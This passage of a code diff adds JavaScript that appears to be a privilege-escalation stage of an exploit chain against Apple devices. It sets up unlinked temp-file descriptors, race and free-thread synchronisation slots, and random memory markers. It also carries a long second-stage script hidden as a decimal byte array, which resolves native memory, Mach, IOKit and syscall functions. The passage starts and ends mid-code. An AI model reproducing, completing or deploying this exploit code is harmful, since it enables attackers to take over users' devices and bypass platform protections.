0n; + let free_target_size = 0n; + let write_fd = 0n; + let read_fd = 0n; + let random_marker = arc4random() << 32n | arc4random(); + let wired_page_marker = arc4random() << 32n | arc4random(); + let free_thread_start_ptr = 0n; + let free_target_sync_ptr = 0n; + let free_target_size_sync_ptr = 0n; + let target_object_sync_ptr = 0n; + let target_object_offset_sync_ptr = 0n; + let go_sync_ptr = 0n; + let race_sync_ptr = 0n; + let free_thread_jsthread = 0n; + let free_thread_arg = 0n; + function init_target_file() { + let _CS_DARWIN_USER_TEMP_DIR = 65537n; + read_file_path = calloc(1n, 1024n); + write_file_path = calloc(1n, 1024n); + confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024n); + confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n); + strcat(read_file_path, get_cstring(`/${arc4random().hex()}`)); + strcat(write_file_path, get_cstring(`/${arc4random().hex()}`)); + create_target_file(read_file_path); + create_target_file(write_file_path); + read_fd = open(read_file_path, 0x2n); + write_fd = open(write_file_path, 0x2n); + LOG("[+] read_fd: " + read_fd.hex()); + LOG("[+] write_fd: " + write_fd.hex()); + remove(read_file_path); + remove(write_file_path); + fcntl(read_fd, 48n, 1n); + fcntl(write_fd, 48n, 1n); + } + function pe_init() { + init_target_file(); + if (executable_name == 0n) { + let length = BigInt("0x1024"); + let executable_path = calloc(1n, length); + _NSGetExecutablePath(executable_path, get_bigint_addr(length)); + executable_name = strrchr(executable_path, 0x2fn); + if (executable_name != 0n) { + executable_name = executable_name + 0x1n; + } else { + executable_name = executable_path; + } + } + free_thread_arg = calloc(1n, PAGE_SIZE); + LOG("[+] free_thread_arg: " + free_thread_arg.hex()); + free_thread_start_ptr = free_thread_arg; + free_target_sync_ptr = free_thread_arg + 0x8n; + free_target_size_sync_ptr = free_thread_arg + 0x10n; + target_object_sync_ptr = free_thread_arg + 0x18n; + target_object_offset_sync_ptr = free_thread_arg + 0x20n; + go_sync_ptr = free_thread_arg + 0x28n; + race_sync_ptr = free_thread_arg + 0x30n; + let free_thread_js_data = new Uint8Array([102, 99, 97, 108, 108, 95, 105, 110, 105, 116, 40, 41, 59, 10, 108, 101, 116, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 32, 32, 32, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 67, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 82, 69, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 114, 101, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 69, 77, 67, 80, 89, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 34, 41, 59, 10, 10, 108, 101, 116, 32, 83, 76, 69, 69, 80, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 85, 83, 76, 69, 69, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 77, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 80, 89, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 80, 89, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 78, 80, 82, 73, 78, 84, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 110, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 73, 78, 84, 70, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 10, 108, 101, 116, 32, 69, 82, 82, 78, 79, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 114, 114, 110, 111, 34, 41, 59, 10, 108, 101, 116, 32, 67, 76, 79, 83, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 69, 88, 73, 84, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 120, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 67, 72, 65, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 99, 104, 97, 114, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 80, 73, 68, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 112, 105, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 89, 83, 67, 65, 76, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 121, 115, 99, 97, 108, 108, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 115, 115, 101, 114, 116, 40, 97, 44, 32, 98, 32, 61, 32, 34, 78, 47, 65, 34, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 33, 97, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 96, 97, 115, 115, 101, 114, 116, 32, 102, 97, 105, 108, 101, 100, 58, 32, 36, 123, 98, 125, 96, 41, 10, 32, 32, 32, 32, 125, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 69, 82, 82, 79, 82, 40, 97, 41, 32, 123, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 97, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 32, 61, 32, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 82, 69, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 117, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 85, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 109, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 77, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 110, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 78, 80, 82, 73, 78, 84, 70, 44, 32, 98, 117, 102, 44, 32, 115, 105, 122, 101, 44, 32, 102, 109, 116, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 73, 78, 84, 70, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 102, 109, 116, 41, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 108, 111, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 76, 79, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 120, 105, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 69, 88, 73, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 99, 104, 97, 114, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 67, 72, 65, 82, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 112, 105, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 80, 73, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 121, 115, 99, 97, 108, 108, 40, 110, 117, 109, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 89, 83, 67, 65, 76, 76, 44, 32, 110, 117, 109, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 40, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 117, 116, 115, 110, 97, 109, 101, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 50, 53, 54, 110, 44, 32, 53, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 102, 99, 97, 108, 108, 40, 85, 78, 65, 77, 69, 44, 32, 117, 116, 115, 110, 97, 109, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 117, 116, 115, 110, 97, 109, 101, 32, 43, 32, 40, 50, 53, 54, 110, 32, 42, 32, 52, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 59, 10, 125, 10, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 82, 69, 76, 69, 65, 83, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 82, 101, 108, 101, 97, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 72, 79, 87, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 104, 111, 119, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 48, 56, 48, 48, 48, 49, 48, 48, 110, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 